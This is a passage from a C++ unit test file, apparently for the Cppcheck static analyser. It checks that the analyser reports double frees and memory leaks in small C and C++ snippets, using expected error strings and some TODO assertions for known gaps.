fclose(r);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\n \"void foo(FILE *p) {\\n\"\n \" if (x < 3) fclose(p);\\n\"\n \" else { if (x > 9) fclose(p); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\n \"void foo(FILE *p) {\\n\"\n \" fclose(p);\\n\"\n \" gethandle(&p);\\n\"\n \" fclose(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\n \"void foo(FILE *p) {\\n\"\n \" fclose(p);\\n\"\n \" gethandle();\\n\"\n \" fclose(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:2:3] -> [test.c:4:3]: (error) Resource handle 'p' freed twice. [doubleFree]\\n\", errout_str());\n\n check(\n \"void foo(Data* p) {\\n\"\n \" free(p->a);\\n\"\n \" free(p->b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\n \"void f() {\\n\"\n \" char *p; p = malloc(100);\\n\"\n \" if (x) {\\n\"\n \" free(p);\\n\"\n \" exit();\\n\"\n \" }\\n\"\n \" free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\n \"void f() {\\n\"\n \" char *p; p = malloc(100);\\n\"\n \" if (x) {\\n\"\n \" free(p);\\n\"\n \" x = 0;\\n\"\n \" }\\n\"\n \" free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:4:9] -> [test.c:7:5]: (error) Memory pointed to by 'p' is freed twice. [doubleFree]\\n\", errout_str());\n\n check(\n \"void f() {\\n\"\n \" char *p; p = do_something();\\n\"\n \" free(p);\\n\"\n \" p = do_something();\\n\"\n \" free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\n \"void foo(char *p) {\\n\"\n \" delete p;\\n\"\n \" delete p;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:3:10]: (error) Memory pointed to by 'p' is freed twice. [doubleFree]\\n\", errout_str());\n\n check(\n \"void foo(char *p, char *r) {\\n\"\n \" delete p;\\n\"\n \" delete r;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\n \"void foo(P p) {\\n\"\n \" delete p.x;\\n\"\n \" delete p;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\n \"void foo(char **p) {\\n\"\n \" delete p[0];\\n\"\n \" delete p[1];\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\n \"void foo(char *p) {\\n\"\n \" delete p;\\n\"\n \" getNext(&p);\\n\"\n \" delete p;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\n \"void foo(char *p) {\\n\"\n \" delete p;\\n\"\n \" bar();\\n\"\n \" delete p;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:4:10]: (error) Memory pointed to by 'p' is freed twice. [doubleFree]\\n\", errout_str());\n\n check(\n \"void foo(char *p) {\\n\"\n \" delete[] p;\\n\"\n \" delete[] p;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:3:12]: (error) Memory pointed to by 'p' is freed twice. [doubleFree]\\n\", errout_str());\n\n check(\n \"void foo(char *p, char *r) {\\n\"\n \" delete[] p;\\n\"\n \" delete[] r;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\n \"void foo(char *p) {\\n\"\n \" delete[] p;\\n\"\n \" getNext(&p);\\n\"\n \" delete[] p;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\n \"void foo(char *p) {\\n\"\n \" delete[] p;\\n\"\n \" bar();\\n\"\n \" delete[] p;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:4:12]: (error) Memory pointed to by 'p' is freed twice. [doubleFree]\\n\", errout_str());\n\n check(\n \"LineMarker::~LineMarker() {\\n\"\n \" delete pxpm;\\n\"\n \"}\\n\"\n \"LineMarker &LineMarker::operator=(const LineMarker &) {\\n\"\n \" delete pxpm;\\n\"\n \" pxpm = NULL;\\n\"\n \" return *this;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\n \"void foo()\\n\"\n \"{\\n\"\n \" int* ptr; ptr = NULL;\\n\"\n \" try\\n\"\n \" {\\n\"\n \" ptr = new int(4);\\n\"\n \" }\\n\"\n \" catch(...)\\n\"\n \" {\\n\"\n \" delete ptr;\\n\"\n \" throw;\\n\"\n \" }\\n\"\n \" delete ptr;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\n \"int foo()\\n\"\n \"{\\n\"\n \" int* a; a = new int;\\n\"\n \" bool doDelete; doDelete = true;\\n\"\n \" if (a != 0)\\n\"\n \" {\\n\"\n \" doDelete = false;\\n\"\n \" delete a;\\n\"\n \" }\\n\"\n \" if(doDelete)\\n\"\n \" delete a;\\n\"\n \" return 0;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:8:8] -> [test.cpp:11:15]: (error) Memory pointed to by 'a' is freed twice. [doubleFree]\\n\", errout_str());\n\n check(\n \"void foo(int y)\\n\"\n \"{\\n\"\n \" char * x; x = NULL;\\n\"\n \" while(true) {\\n\"\n \" x = new char[100];\\n\"\n \" if (y++ > 100)\\n\"\n \" break;\\n\"\n \" delete[] x;\\n\"\n \" }\\n\"\n \" delete[] x;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\n \"void foo(int y)\\n\"\n \"{\\n\"\n \" char * x; x = NULL;\\n\"\n \" for (int i = 0; i < 10000; i++) {\\n\"\n \" x = new char[100];\\n\"\n \" delete[] x;\\n\"\n \" }\\n\"\n \" delete[] x;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:8]: (error) Memory pointed to by 'x' is freed twice.\\n\", \"\", errout_str());\n\n check(\n \"void foo(int y)\\n\"\n \"{\\n\"\n \" char * x; x = NULL;\\n\"\n \" while (isRunning()) {\\n\"\n \" x = new char[100];\\n\"\n \" delete[] x;\\n\"\n \" }\\n\"\n \" delete[] x;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:8]: (error) Memory pointed to by 'x' is freed twice.\\n\", \"\", errout_str());\n\n check(\n \"void foo(int y)\\n\"\n \"{\\n\"\n \" char * x; x = NULL;\\n\"\n \" while (isRunning()) {\\n\"\n \" x = malloc(100);\\n\"\n \" free(x);\\n\"\n \" }\\n\"\n \" free(x);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.c:8]: (error) Memory pointed to by 'x' is freed twice.\\n\", \"\", errout_str());\n\n check(\n \"void foo(int y)\\n\"\n \"{\\n\"\n \" char * x; x = NULL;\\n\"\n \" for (;;) {\\n\"\n \" x = new char[100];\\n\"\n \" if (y++ > 100)\\n\"\n \" break;\\n\"\n \" delete[] x;\\n\"\n \" }\\n\"\n \" delete[] x;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\n \"void foo(int y)\\n\"\n \"{\\n\"\n \" char * x; x = NULL;\\n\"\n \" do {\\n\"\n \" x = new char[100];\\n\"\n \" if (y++ > 100)\\n\"\n \" break;\\n\"\n \" delete[] x;\\n\"\n \" } while (true);\\n\"\n \" delete[] x;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\n \"void f()\\n\"\n \"{\\n\"\n \" char *p; p = 0;\\n\"\n \" if (x < 100) {\\n\"\n \" p = malloc(10);\\n\"\n \" free(p);\\n\"\n \" }\\n\"\n \" free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:6:9] -> [test.c:8:5]: (error) Memory pointed to by 'p' is freed twice. [doubleFree]\\n\", errout_str());\n\n check(\n \"void MyFunction()\\n\"\n \"{\\n\"\n \" char* data; data = new char[100];\\n\"\n \" try\\n\"\n \" {\\n\"\n \" }\\n\"\n \" catch(err)\\n\"\n \" {\\n\"\n \" delete[] data;\\n\"\n \" MyThrow(err);\\n\"\n \" }\\n\"\n \" delete[] data;\\n\"\n \"}\\n\"\n\n \"void MyThrow(err)\\n\"\n \"{\\n\"\n \" throw(err);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\n \"void MyFunction()\\n\"\n \"{\\n\"\n \" char* data; data = new char[100];\\n\"\n \" try\\n\"\n \" {\\n\"\n \" }\\n\"\n \" catch(err)\\n\"\n \" {\\n\"\n \" delete[] data;\\n\"\n \" MyExit(err);\\n\"\n \" }\\n\"\n \" delete[] data;\\n\"\n \"}\\n\"\n\n \"void MyExit(err)\\n\"\n \"{\\n\"\n \" exit(err);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check( // #6252\n \"struct Wrapper {\\n\"\n \" Thing* m_thing;\\n\"\n \" Wrapper() : m_thing(0) {\\n\"\n \" }\\n\"\n \" ~Wrapper() {\\n\"\n \" delete m_thing;\\n\"\n \" }\\n\"\n \" void changeThing() {\\n\"\n \" delete m_thing;\\n\"\n \" m_thing = new Thing;\\n\"\n \" }\\n\"\n \"};\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7401\n check(\"void pCodeLabelDestruct(pCode *pc) {\\n\"\n \" free(PCL(pc)->label);\\n\"\n \" free(pc);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doublefree2() { // #3891\n check(\"void *f(int a) {\\n\"\n \" char *p = malloc(10);\\n\"\n \" if (a == 2) { free(p); return ((void*)1); }\\n\"\n \" free(p);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doublefree3() { // #4914\n check(\"void foo() {\\n\"\n \" bool done = false;\\n\"\n \" do {\\n\"\n \" char *bar = malloc(10)\\n\"\n \" if(condition()) {\\n\"\n \" free(bar);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" done = true;\\n\"\n \" free(bar)\\n\"\n \" } while(!done);\\n\"\n \" return;\"\n \"}\"\n );\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doublefree4() {\n check(\"void f(char *p) {\\n\" // #5451 - exit\n \" if (x) {\\n\"\n \" free(p);\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \" free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void* p, int i) {\\n\" // #11391\n \" if (i)\\n\"\n \" goto cleanup;\\n\"\n \" free(p);\\n\"\n \" exit(0);\\n\"\n \"cleanup:\\n\"\n \" free(p);\\n\"\n \" exit(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doublefree5() { // #5522\n check(\"void f(char *p) {\\n\"\n \" free(p);\\n\"\n \" x = (q == p);\\n\"\n \" free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:2:3] -> [test.c:4:3]: (error) Memory pointed to by 'p' is freed twice. [doubleFree]\\n\", errout_str());\n }\n\n void doublefree6() { // #7685\n check(\"void do_wordexp(FILE *f) {\\n\"\n \" free(getword(f));\\n\"\n \" fclose(f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doublefree7() {\n check(\"void f(char *p, int x) {\\n\"\n \" free(p);\\n\"\n \" if (x && (p = malloc(10)))\\n\"\n \" free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *p, int x) {\\n\"\n \" delete[] p;\\n\"\n \" if (x && (p = new char[10]))\\n\"\n \" delete[] p;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doublefree8() {\n check(\"void f() {\\n\"\n \" int * i = new int;\\n\"\n \" std::unique_ptr x(i);\\n\"\n \" delete i;\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:4:12]: (error) Memory pointed to by 'i' is freed twice. [doubleFree]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int * i = new int;\\n\"\n \" delete i;\\n\"\n \" std::unique_ptr x(i);\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:4:28]: (error) Memory pointed to by 'i' is freed twice. [doubleFree]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int * i = new int;\\n\"\n \" std::unique_ptr x{i};\\n\"\n \" delete i;\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:4:12]: (error) Memory pointed to by 'i' is freed twice. [doubleFree]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int * i = new int;\\n\"\n \" std::shared_ptr x(i);\\n\"\n \" delete i;\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:4:12]: (error) Memory pointed to by 'i' is freed twice. [doubleFree]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int * i = new int;\\n\"\n \" std::shared_ptr x{i};\\n\"\n \" delete i;\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:4:12]: (error) Memory pointed to by 'i' is freed twice. [doubleFree]\\n\", errout_str());\n\n // Check for use-after-free FP\n check(\"void f() {\\n\"\n \" int * i = new int;\\n\"\n \" std::shared_ptr x{i};\\n\"\n \" *i = 123;\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int * i = new int[1];\\n\"\n \" std::unique_ptr x(i);\\n\"\n \" delete i;\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:4:12]: (error) Memory pointed to by 'i' is freed twice. [doubleFree]\\n\", errout_str());\n\n check(\"using namespace std;\\n\" // #9708\n \"void f() {\\n\"\n \" int* i = new int;\\n\"\n \" unique_ptr x(i);\\n\"\n \" delete i;\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:5:12]: (error) Memory pointed to by 'i' is freed twice. [doubleFree]\\n\", errout_str());\n }\n\n void doublefree9() {\n check(\"struct foo {\\n\"\n \" int* get(int) { return new int(); }\\n\"\n \"};\\n\"\n \"void f(foo* b) {\\n\"\n \" std::unique_ptr x(b->get(0));\\n\"\n \" std::unique_ptr y(b->get(1));\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doublefree10() {\n check(\"void f(char* s) {\\n\"\n \" char *p = malloc(strlen(s));\\n\"\n \" if (p != NULL) {\\n\"\n \" strcat(p, s);\\n\"\n \" if (strlen(s) != 10)\\n\"\n \" free(p); p = NULL;\\n\"\n \" }\\n\"\n \" if (p != NULL)\\n\"\n \" free(p);\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char* s) {\\n\"\n \" char *p = malloc(strlen(s));\\n\"\n \" if (p != NULL) {\\n\"\n \" strcat(p, s);\\n\"\n \" if (strlen(s) != 10)\\n\"\n \" free(p), p = NULL;\\n\"\n \" }\\n\"\n \" if (p != NULL)\\n\"\n \" free(p);\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doublefree11() {\n check(\"void f() {\\n\"\n \" void * p = malloc(5);\\n\"\n \" void * q = realloc(p, 10);\\n\"\n \" if (q == NULL) {\\n\"\n \" free(p);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" free(p);\\n\"\n \" if (q == NULL)\\n\"\n \" return;\\n\"\n \" free(q);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:3:16] -> [test.c:8:5]: (error) Memory pointed to by 'p' is freed twice. [doubleFree]\\n\", errout_str());\n }\n\n void doublefree12() { // #10502\n check(\"int f(FILE *fp, const bool b) {\\n\"\n \" if (b)\\n\"\n \" return fclose(fp);\\n\"\n \" fclose(fp);\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doublefree13() { // #11008\n check(\"struct buf_t { void* ptr; };\\n\"\n \"void f() {\\n\"\n \" struct buf_t buf;\\n\"\n \" if ((buf.ptr = malloc(10)) == NULL)\\n\"\n \" return;\\n\"\n \" free(buf.ptr);\\n\"\n \" if ((buf.ptr = malloc(10)) == NULL)\\n\"\n \" return;\\n\"\n \" free(buf.ptr);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doublefree14() { // #9708\n check(\"using namespace std;\\n\"\n \" \\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int *i = new int;\\n\"\n \" unique_ptr x(i);\\n\"\n \" delete i;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:6:5] -> [test.cpp:7:12]: (error) Memory pointed to by 'i' is freed twice. [doubleFree]\\n\", errout_str());\n\n check(\"using namespace std;\\n\"\n \" \\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int *i = new int;\\n\"\n \" unique_ptr x(i);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doublefree15() { // #11966\n check(\"void f(FILE* fp) {\\n\"\n \" static_cast(fclose(fp));\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doublefree16() { // #12236\n check(\"void f() {\\n\"\n \" FILE* f = fopen(\\\"abc\\\", \\\"r\\\");\\n\"\n \" decltype(fclose(f)) y;\\n\"\n \" y = fclose(f);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" FILE *fp = fopen(\\\"abc\\\", \\\"r\\\");\\n\"\n \" if (({\\n\"\n \" __typeof__(fclose(fp)) r;\\n\"\n \" r = (fclose(fp));\\n\"\n \" r;\\n\"\n \" })) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doublefree17() {\n check(\"void f() {\\n\"\n \" int *a = nullptr;\\n\"\n \" int *b = nullptr;\\n\"\n \" int *c = new int;\\n\"\n \" delete (a, c);\\n\"\n \" delete (b, c);\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:5:5] -> [test.cpp:6:16]: (error) Memory pointed to by 'c' is freed twice. [doubleFree]\\n\", errout_str());\n }\n\n void doublefree18() {\n check(\"typedef struct {\\n\" // #13918\n \" FILE * fp;\\n\"\n \"} S;\\n\"\n \"void f(S* s, FILE* x) {\\n\"\n \" if (fclose(s->fp)) {}\\n\"\n \" s->fp = x;\\n\"\n \" if (fclose(s->fp)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doublefree19() {\n check(\"struct S {\\n\"\n \" void *x;\\n\"\n \"};\\n\"\n \"void f(struct S *p)\\n\"\n \"{\\n\"\n \" free(p->x);\\n\"\n \" free(p->x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.c:6:3] -> [test.c:7:3]: (error) Memory pointed to by 'x' is freed twice. [doubleFree]\\n\", errout_str());\n }\n\n void exit1() {\n check(\"void f() {\\n\"\n \" char *p = malloc(10);\\n\"\n \" exit(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void exit2() {\n check(\"void f() {\\n\"\n \" char *p = malloc(10);\\n\"\n \" fatal_error();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:3:18]: (information) --check-library: Function fatal_error() should have configuration [checkLibraryNoReturn]\\n\",\n errout_str());\n }\n\n void exit3() {\n check(\"void f() {\\n\"\n \" char *p = malloc(100);\\n\"\n \" if (x) {\\n\"\n \" free(p);\\n\"\n \" ::exit(0);\\n\"\n \" }\"\n \" free(p);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char *p = malloc(100);\\n\"\n \" if (x) {\\n\"\n \" free(p);\\n\"\n \" std::exit(0);\\n\"\n \" }\"\n \" free(p);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void exit4() {\n check(\"void __attribute__((__noreturn__)) (*func_notret)(void);\\n\"\n \"int main(int argc) {\\n\"\n \" void* ptr = malloc(1000);\\n\"\n \" if (argc == 1) {\\n\"\n \" free(ptr);\\n\"\n \" func_notret();\\n\"\n \" }\\n\"\n \" free(ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void functioncall1() {\n check(\"void f(struct S *p) {\\n\"\n \" p->x = malloc(10);\\n\"\n \" free(p->x);\\n\"\n \" p->x = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(s_t s) {\\n\" // #11061\n \" s->p = (char*)malloc(10);\\n\"\n \" free((void*)s->p);\\n\"\n \" s->p = NULL;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n const Settings s = settingsBuilder().library(\"std.cfg\").build();\n check(\"struct S {};\\n\"\n \"void f(int i, std::vector> &v) {\\n\"\n \" if (i < 1) {\\n\"\n \" auto s = new S;\\n\"\n \" v.push_back(std::unique_ptr(s));\\n\"\n \" }\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void g(size_t len) {\\n\" // #12365\n \" char* b = new char[len + 1]{};\\n\"\n \" std::string str = std::string(b);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:4:1]: (error) Memory leak: b [memleak]\\n\", errout_str());\n }\n\n void goto1() {\n check(\"static void f() {\\n\"\n \" int err = -ENOMEM;\\n\"\n \" char *reg = malloc(100);\\n\"\n \" if (err) {\\n\"\n \" free(reg);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void goto2() { // #4231\n check(\"static char * f() {\\n\"\n \"x:\\n\"\n \" char *p = malloc(100);\\n\"\n \" if (err) {\\n\"\n \" free(p);\\n\"\n \" goto x;\\n\"\n \" }\\n\"\n \" return p;\\n\" // no error since there is a goto\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void goto3() { // #11431\n check(\"void f() {\\n\"\n \" int* p = (int*)malloc(2);\\n\"\n \" if (!p) {\\n\"\n \" p = (int*)malloc(1);\\n\"\n \" if (!p)\\n\"\n \" goto err;\\n\"\n \" }\\n\"\n \" free(p);\\n\"\n \"err:\\n\"\n \" (void)0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void ifelse1() {\n check(\"int f() {\\n\"\n \" char *p = NULL;\\n\"\n \" if (x) { p = malloc(10); }\\n\"\n \" else { return 0; }\\n\"\n \" free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void ifelse2() {\n check(\"int f() {\\n\"\n \" char *p = NULL;\\n\"\n \" if (x) { p = malloc(10); }\\n\"\n \" else { return 0; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:5:1]: (error) Memory leak: p [memleak]\\n\", errout_str());\n }\n\n void ifelse3() {\n check(\"void f() {\\n\"\n \" char *p = malloc(10);\\n\"\n \" if (!p) { return; }\\n\"\n \" free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char * f(size_t size) {\"\n \" void *p = malloc(1);\"\n \" if (!p && size != 0)\"\n \" return NULL;\"\n \" return p;\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char *p = malloc(10);\\n\"\n \" if (p) { } else { return; }\\n\"\n \" free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3866 - UNLIKELY\n check(\"void f() {\\n\"\n \" char *p = malloc(10);\\n\"\n \" if (UNLIKELY(!p)) { return; }\\n\"\n \" free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void ifelse4() {\n check(\"void f(int x) {\\n\"\n \" char *p;\\n\"\n \" if (x) { p = malloc(10); }\\n\"\n \" if (x) { free(p); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" char *p;\\n\"\n \" if (x) { p = malloc(10); }\\n\"\n \" if (!x) { return; }\\n\"\n \" free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void ifelse5() {\n check(\"void f() {\\n\"\n \" char *p = malloc(10);\\n\"\n \" if (!p && x) { p = malloc(10); }\\n\"\n \" free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void ifelse6() { // #3370\n check(\"void f(int x) {\\n\"\n \" int *a = malloc(20);\\n\"\n \" if (x)\\n\"\n \" free(a);\\n\"\n \" else\\n\"\n \" a = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:6:9]: (error) Memory leak: a [memleak]\\n\", errout_str());\n }\n\n void ifelse7() { // #5576\n check(\"void f() {\\n\"\n \" int x = malloc(20);\\n\"\n \" if (x < 0)\\n\" // assume negative value indicates its unallocated\n \" return;\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void ifelse8() { // #5747\n check(\"int f() {\\n\"\n \" int fd = socket(AF_INET, SOCK_PACKET, 0 );\\n\"\n \" if (fd == -1)\\n\"\n \" return -1;\\n\"\n \" return fd;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int fd = socket(AF_INET, SOCK_PACKET, 0 );\\n\"\n \" if (fd != -1)\\n\"\n \" return fd;\\n\"\n \" return -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void ifelse9() { // #5273\n check(\"void f() {\\n\"\n \" char *p = malloc(100);\\n\"\n \" if (dostuff(p==NULL,0))\\n\"\n \" return;\\n\"\n \" free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void ifelse10() { // #8794\n check(\"void f() {\\n\"\n \" void *x = malloc(1U);\\n\"\n \" if (!(x != NULL))\\n\"\n \" return;\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void ifelse11() { // #8365\n check(\"void f() {\\n\"\n \" void *p;\\n\"\n \" if (NULL == (p = malloc(4)))\\n\"\n \" return;\\n\"\n \" free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void ifelse12() { // #8340\n check(\"void f(char **p) {\\n\"\n \" if ((*p = malloc(4)) == NULL)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void ifelse13() { // #8392\n check(\"int f(int fd, const char *mode) {\\n\"\n \" char *path;\\n\"\n \" if (fd == -1 || (path = (char *)malloc(10)) == NULL)\\n\"\n \" return 1;\\n\"\n \" free(path);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int fd, const char *mode) {\\n\"\n \" char *path;\\n\"\n \" if ((path = (char *)malloc(10)) == NULL || fd == -1)\\n\"\n \" return 1;\\n\" // <- memory leak\n \" free(path);\\n\"\n \" return 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4] memory leak\", \"\", errout_str());\n }\n\n void ifelse14() { // #9130\n check(\"char* f() {\\n\"\n \" char* buf = malloc(10);\\n\"\n \" if (buf == (char*)NULL)\\n\"\n \" return NULL;\\n\"\n \" return buf;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void ifelse15() { // #9206\n check(\"struct SSS { int a; };\\n\"\n \"SSS* global_ptr;\\n\"\n \"void test_alloc() {\\n\"\n \" if ( global_ptr = new SSS()) {}\\n\"\n \" return;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* hFile;\\n\"\n \"int openFile( void ) {\\n\"\n \" if ((hFile 